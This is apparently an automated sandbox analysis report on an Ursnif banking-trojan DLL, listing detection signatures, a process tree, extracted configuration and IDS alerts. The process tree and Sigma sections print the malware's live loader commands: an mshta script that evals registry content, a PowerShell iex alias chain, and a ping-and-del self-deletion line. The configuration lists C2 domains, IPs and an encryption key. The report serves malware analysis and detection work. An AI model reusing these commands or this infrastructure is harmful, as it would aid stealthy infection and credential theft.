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Windows Analysis Report
EIo7Dh2fzn

Overview

General Information

Sample Name:EIo7Dh2fzn (renamed file extension from none to dll)
Analysis ID:617356
MD5:ce7c27c59a122431a79b45adc9e6ddea
SHA1:c4847eaed87a65d679e3ccf04586e8c2c8557853
SHA256:0f7c69f83cd47009aa4b0b7e99cf0c9f23567a0e1862aa9bc83e4e684e72ff5b
Tags:dll
Infos:

Detection

Ursnif
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Yara detected Ursnif
System process connects to network (likely due to code injection or exploit)
Antivirus detection for URL or domain
Snort IDS alert for network traffic
Found malware configuration
Multi AV Scanner detection for submitted file
Multi AV Scanner detection for domain / URL
Sigma detected: Windows Shell File Write to Suspicious Folder
Hooks registry keys query functions (used to hide registry keys)
Sigma detected: Accessing WinAPI in PowerShell. Code Injection
Machine Learning detection for sample
May check the online IP address of the machine
Self deletion via cmd delete
Sigma detected: MSHTA Spawning Windows Shell
Sigma detected: Suspicious Call by Ordinal
Creates a thread in another existing process (thread injection)
Modifies the export address table of user mode modules (user mode EAT hooks)
Writes registry values via WMI
Writes to foreign memory regions
Sigma detected: Suspicious Remote Thread Created
Uses ping.exe to check the status of other devices and networks
Modifies the prolog of user mode functions (user mode inline hooks)
Uses ping.exe to sleep
Injects code into the Windows Explorer (explorer.exe)
Sigma detected: Mshta Spawning Windows Shell
Modifies the import address table of user mode modules (user mode IAT hooks)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
May sleep (evasive loops) to hinder dynamic analysis
Uses code obfuscation techniques (call, push, ret)
Found evasive API chain (date check)
Detected potential crypto function
Contains functionality to launch a process as a different user
Sample execution stops while process was sleeping (likely an evasion)
Contains functionality to dynamically determine API calls
Contains long sleeps (>= 3 min)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Searches for the Microsoft Outlook file path
PE file contains strange resources
Drops PE files
Uses a known web browser user agent for HTTP communication
Found evasive API chain checking for process token information
Checks if the current process is being debugged
Compiles C# or VB.Net code
Creates a process in suspended mode (likely to inject code)
Uses 32bit PE files
Queries the volume information (name, serial number etc) of a device
Sigma detected: Suspicious Rundll32 Activity
Internet Provider seen in connection with other malware
Contains functionality to query CPU information (cpuid)
Contains functionality to call native functions
Found dropped PE file which has not been started or loaded
Enables debug privileges
Sample file is different than original file name gathered from version info
PE file contains an invalid checksum
Sigma detected: Suspicious Csc.exe Source File Folder
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Uses Microsoft's Enhanced Cryptographic Provider

Classification

  • System is w10x64
  • loaddll32.exe (PID: 2108 cmdline: loaddll32.exe "C:\Users\user\Desktop\EIo7Dh2fzn.dll" MD5: 7DEB5DB86C0AC789123DEC286286B938)
    • cmd.exe (PID: 2256 cmdline: cmd.exe /C rundll32.exe "C:\Users\user\Desktop\EIo7Dh2fzn.dll",#1 MD5: F3BDBE3BB6F734E357235F4D5898582D)
      • rundll32.exe (PID: 5304 cmdline: rundll32.exe "C:\Users\user\Desktop\EIo7Dh2fzn.dll",#1 MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)
        • control.exe (PID: 7016 cmdline: C:\Windows\system32\control.exe -h MD5: 625DAC87CB5D7D44C5CA1DA57898065F)
          • rundll32.exe (PID: 3796 cmdline: "C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL -h MD5: 73C519F050C20580F8A62C849D49215A)
  • mshta.exe (PID: 6308 cmdline: C:\Windows\System32\mshta.exe" "about:<hta:application><script>N505='wscript.shell';resizeTo(0,2);eval(new ActiveXObject(N505).regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\54E80703-A337-A6B8-CDC8-873A517CAB0E\\\TestLocal'));if(!window.flag)close()</script> MD5: 197FC97C6A843BEBB445C1D9C58DCBDB)
    • powershell.exe (PID: 6456 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name xwfwhgurt -value gp; new-alias -name ctmwds -value iex; ctmwds ([System.Text.Encoding]::ASCII.GetString((xwfwhgurt "HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E").UrlsReturn)) MD5: 95000560239032BC68B4C2FDFCDEF913)
      • conhost.exe (PID: 6472 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
      • csc.exe (PID: 6700 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\kydykacf\kydykacf.cmdline MD5: B46100977911A0C9FB1C3E5F16A5017D)
        • cvtres.exe (PID: 6716 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES48A2.tmp" "c:\Users\user\AppData\Local\Temp\kydykacf\CSC5BFFE88D5913473D926BA7D4657E75A7.TMP" MD5: 33BB8BE0B4F547324D93D5D2725CAC3D)
      • csc.exe (PID: 6744 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\pwbmbloq\pwbmbloq.cmdline MD5: B46100977911A0C9FB1C3E5F16A5017D)
        • cvtres.exe (PID: 6768 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES5890.tmp" "c:\Users\user\AppData\Local\Temp\pwbmbloq\CSCE4199BE8E234D5980964D8FC9C2D7EF.TMP" MD5: 33BB8BE0B4F547324D93D5D2725CAC3D)
      • explorer.exe (PID: 3616 cmdline: C:\Windows\Explorer.EXE MD5: AD5296B280E8F522A8A897C96BAB0E1D)
        • cmd.exe (PID: 3524 cmdline: C:\Windows\System32\cmd.exe" /C ping localhost -n 5 && del "C:\Users\user\Desktop\EIo7Dh2fzn.dll MD5: 4E2ACF4F8A396486AB4268C94A6A245F)
          • conhost.exe (PID: 6596 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
          • PING.EXE (PID: 6356 cmdline: ping localhost -n 5 MD5: 6A7389ECE70FB97BFE9A570DB4ACCC3B)
  • cleanup
{"RSA Public Key": "+FflIsIAzGiUM0s27tuLbRAwZqYoqmNsTeF7rxG/Mwp38QqxThLLXpreOfEHBItOJka6enf+5fp9fT9wIfjoNQYondBMg0CXVUaaXZmXPw7dFUCTuwl/1fJ8Te0BDO4/e0D+MT+n6Ovzq2MwCzSIm7W4ZiEEkdm60WNeCsFwnx1f78Cv9j4wv9nLP3bFRx9OkdD66cn4ATsp0wULyGpOtly6uJj4gNSoIxbBBQeCFBEVhnqZ/KZ3/SbtJUJ3X757TgS02V8uV2DJldCmSy1UGDylgn9Cs1EUm4RQgf1fFSmTn7kcnOpsq0753wd2/m9Jbas3/WEwOA88vTsSUvhPp7zr8Ltl9tao4hrJvcTrul8=", "c2_domain": ["config.edge.skype.com", "cabrioxmdes.at", "hopexmder.net", "94.140.114.144", "94.140.112.49", "94.140.112.121"], "ip_check_url": ["http://ipinfo.io/ip", "http://curlmyip.net"], "serpent_key": "Jv1GYc8A8hCBIeVD", "tor32_dll": "file://c:\\test\\test32.dll", "tor64_dll": "file://c:\\test\\tor64.dll", "movie_capture": "30, 8, calc no*ad *terminal* *debug*", "server": "50", "sleep_time": "1", "SetWaitableTimer_value(CRC_CONFIGTIMEOUT)": "60", "time_value": "60", "SetWaitableTimer_value(CRC_TASKTIMEOUT)": "60", "SetWaitableTimer_value(CRC_SENDTIMEOUT)": "300", "SetWaitableTimer_value(CRC_KNOCKERTIMEOUT)": "60", "not_use(CRC_BCTIMEOUT)": "10", "botnet": "3000", "SetWaitableTimer_value": "1"}
SourceRuleDescriptionAuthorStrings
00000002.00000002.421735846.0000000000C80000.00000040.10000000.00040000.00000000.sdmpJoeSecurity_Ursnif_1Yara detected UrsnifJoe Security
    00000002.00000003.261855214.00000000051E8000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_UrsnifYara detected UrsnifJoe Security
      00000002.00000003.362993400.0000000005FE8000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_UrsnifYara detected UrsnifJoe Security
        00000002.00000003.261974561.00000000051E8000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_UrsnifYara detected UrsnifJoe Security
          00000002.00000003.262011301.00000000051E8000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_UrsnifYara detected UrsnifJoe Security
            Click to see the 15 entries
            SourceRuleDescriptionAuthorStrings
            2.2.rundll32.exe.4710000.0.unpackJoeSecurity_Ursnif_1Yara detected UrsnifJoe Security
              2.3.rundll32.exe.4c194a0.7.unpackJoeSecurity_Ursnif_1Yara detected UrsnifJoe Security
                2.3.rundll32.exe.4c194a0.7.raw.unpackJoeSecurity_Ursnif_1Yara detected UrsnifJoe Security
                  2.3.rundll32.exe.5196b40.2.unpackJoeSecurity_Ursnif_1Yara detected UrsnifJoe Security
                    2.3.rundll32.exe.5196b40.2.raw.unpackJoeSecurity_Ursnif_1Yara detected UrsnifJoe Security
                      Click to see the 3 entries

                      System Summary

                      barindex
                      Source: File createdAuthor: Florian Roth: Data: EventID: 11, Image: C:\Windows\System32\mshta.exe, ProcessId: 6308, TargetFilename: C:\Users\user\AppData\Local\Microsoft\Windows\Caches
                      Source: Threat createdAuthor: Nikita Nazarov, oscd.community: Data: EventID: 8, SourceImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, SourceProcessId: 6456, StartAddress: 2BC1580, TargetImage: C:\Windows\explorer.exe, TargetProcessId: 3616
                      Source: Process startedAuthor: Michael Haag: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name xwfwhgurt -value gp; new-alias -name ctmwds -value iex; ctmwds ([System.Text.Encoding]::ASCII.GetString((xwfwhgurt "HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E").UrlsReturn)), CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name xwfwhgurt -value gp; new-alias -name ctmwds -value iex; ctmwds ([System.Text.Encoding]::ASCII.GetString((xwfwhgurt "HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E").UrlsReturn)), CommandLine|base64offset|contains: >jX, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\System32\mshta.exe" "about:<hta:application><script>N505='wscript.shell';resizeTo(0,2);eval(new ActiveXObject(N505).regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\54E80703-A337-A6B8-CDC8-873A517CAB0E\\\TestLocal'));if(!window.flag)close()</script>, ParentImage: C:\Windows\System32\mshta.exe, ParentProcessId: 6308, ParentProcessName: mshta.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name xwfwhgurt -value gp; new-alias -name ctmwds -value iex; ctmwds ([System.Text.Encoding]::ASCII.GetString((xwfwhgurt "HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E").UrlsReturn)), ProcessId: 6456, ProcessName: powershell.exe
                      Source: Process startedAuthor: Florian Roth: Data: Command: rundll32.exe "C:\Users\user\Desktop\EIo7Dh2fzn.dll",#1, CommandLine: rundll32.exe "C:\Users\user\Desktop\EIo7Dh2fzn.dll",#1, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\rundll32.exe, NewProcessName: C:\Windows\SysWOW64\rundll32.exe, OriginalFileName: C:\Windows\SysWOW64\rundll32.exe, ParentCommandLine: cmd.exe /C rundll32.exe "C:\Users\user\Desktop\EIo7Dh2fzn.dll",#1, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 2256, ParentProcessName: cmd.exe, ProcessCommandLine: rundll32.exe "C:\Users\user\Desktop\EIo7Dh2fzn.dll",#1, ProcessId: 5304, ProcessName: rundll32.exe
                      Source: Threat createdAuthor: Perez Diego (@darkquassar), oscd.community: Data: EventID: 8, SourceImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, SourceProcessId: 6456, StartAddress: 2BC1580, TargetImage: C:\Windows\explorer.exe, TargetProcessId: 3616
                      Source: Process startedAuthor: Florian Roth: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name xwfwhgurt -value gp; new-alias -name ctmwds -value iex; ctmwds ([System.Text.Encoding]::ASCII.GetString((xwfwhgurt "HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E").UrlsReturn)), CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name xwfwhgurt -value gp; new-alias -name ctmwds -value iex; ctmwds ([System.Text.Encoding]::ASCII.GetString((xwfwhgurt "HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E").UrlsReturn)), CommandLine|base64offset|contains: >jX, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\System32\mshta.exe" "about:<hta:application><script>N505='wscript.shell';resizeTo(0,2);eval(new ActiveXObject(N505).regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\54E80703-A337-A6B8-CDC8-873A517CAB0E\\\TestLocal'));if(!window.flag)close()</script>, ParentImage: C:\Windows\System32\mshta.exe, ParentProcessId: 6308, ParentProcessName: mshta.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name xwfwhgurt -value gp; new-alias -name ctmwds -value iex; ctmwds ([System.Text.Encoding]::ASCII.GetString((xwfwhgurt "HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E").UrlsReturn)), ProcessId: 6456, ProcessName: powershell.exe
                      Source: Process startedAuthor: juju4, Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL -h, CommandLine: "C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL -h, CommandLine|base64offset|contains: , Image: C:\Windows\System32\rundll32.exe, NewProcessName: C:\Windows\System32\rundll32.exe, OriginalFileName: C:\Windows\System32\rundll32.exe, ParentCommandLine: C:\Windows\system32\control.exe -h, ParentImage: C:\Windows\System32\control.exe, ParentProcessId: 7016, ParentProcessName: control.exe, ProcessCommandLine: "C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL -h, ProcessId: 3796, ProcessName: rundll32.exe
                      Source: Process startedAuthor: Florian Roth: Data: Command: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\kydykacf\kydykacf.cmdline, CommandLine: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\kydykacf\kydykacf.cmdline, CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name xwfwhgurt -value gp; new-alias -name ctmwds -value iex; ctmwds ([System.Text.Encoding]::ASCII.GetString((xwfwhgurt "HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E").UrlsReturn)), ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 6456, ParentProcessName: powershell.exe, ProcessCommandLine: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\kydykacf\kydykacf.cmdline, ProcessId: 6700, ProcessName: csc.exe
                      Source: Process startedAuthor: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name xwfwhgurt -value gp; new-alias -name ctmwds -value iex; ctmwds ([System.Text.Encoding]::ASCII.GetString((xwfwhgurt "HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E").UrlsReturn)), CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name xwfwhgurt -value gp; new-alias -name ctmwds -value iex; ctmwds ([System.Text.Encoding]::ASCII.GetString((xwfwhgurt "HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E").UrlsReturn)), CommandLine|base64offset|contains: >jX, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\System32\mshta.exe" "about:<hta:application><script>N505='wscript.shell';resizeTo(0,2);eval(new ActiveXObject(N505).regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\54E80703-A337-A6B8-CDC8-873A517CAB0E\\\TestLocal'));if(!window.flag)close()</script>, ParentImage: C:\Windows\System32\mshta.exe, ParentProcessId: 6308, ParentProcessName: mshta.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name xwfwhgurt -value gp; new-alias -name ctmwds -value iex; ctmwds ([System.Text.Encoding]::ASCII.GetString((xwfwhgurt "HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E").UrlsReturn)), ProcessId: 6456, ProcessName: powershell.exe
                      Source: Process startedAuthor: frack113: Data: Command: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1, CommandLine: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1, CommandLine|base64offset|contains: }}, Image: C:\Windows\System32\conhost.exe, NewProcessName: C:\Windows\System32\conhost.exe, OriginalFileName: C:\Windows\System32\conhost.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name xwfwhgurt -value gp; new-alias -name ctmwds -value iex; ctmwds ([System.Text.Encoding]::ASCII.GetString((xwfwhgurt "HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E").UrlsReturn)), ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 6456, ParentProcessName: powershell.exe, ProcessCommandLine: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1, ProcessId: 6472, ProcessName: conhost.exe
                      Source: File createdAuthor: frack113: Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 6456, TargetFilename: C:\Users\user\AppData\Local\Temp\kydykacf\kydykacf.cmdline
                      Source: Pipe createdAuthor: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research): Data: PipeName: \PSHost.132956248354533983.6456.DefaultAppDomain.powershell
                      Timestamp:04/28/22-15:07:06.754321 04/28/22-15:07:06.754321
                      SID:2033203
                      Source Port:49765
                      Destination Port:80
                      Protocol:TCP
                      Classtype:A Network Trojan was detected
                      Timestamp:04/28/22-15:07:08.453324 04/28/22-15:07:08.453324
                      SID:2033203
                      Source Port:49765
                      Destination Port:80
                      Protocol:TCP
                      Classtype:A Network Trojan was detected
                      Timestamp:04/28/22-15:10:58.119012 04/28/22-15:10:58.119012
                      SID:2823044
                      Source Port:49843
                      Destination Port:80
                      Protocol:TCP
                      Classtype:A Network Trojan was detected
                      Timestamp:04/28/22-15:10:57.532598 04/28/22-15:10:57.532598
                      SID:2823044
                      Source Port:49842
                      Destination Port:80
                      Protocol:TCP
                      Classtype:A Network Trojan was detected
                      Timestamp:04/28/22-15:10:57.185124 04/28/22-15:10:57.185124
                      SID:2031744
                      Source Port:49840
                      Destination Port:80
                      Protocol:TCP
                      Classtype:A Network Trojan was detected
                      Timestamp:04/28/22-15:07:07.516172 04/28/22-15:07:07.516172
                      SID:2033203
                      Source Port:49765
                      Destination Port:80
                      Protocol:TCP
                      Classtype:A Network Trojan was detected
                      Timestamp:04/28/22-15:06:46.652992 04/28/22-15:06:46.652992
                      SID:2033203
                      Source Port:49760
                      Destination Port:80
                      Protocol:TCP
                      Classtype:A Network Trojan was detected
                      Timestamp:04/28/22-15:10:56.966545 04/28/22-15:10:56.966545
                      SID:2031743
                      Source Port:49840
                      Destination Port:80
                      Protocol:TCP
                      Classtype:A Network Trojan was detected

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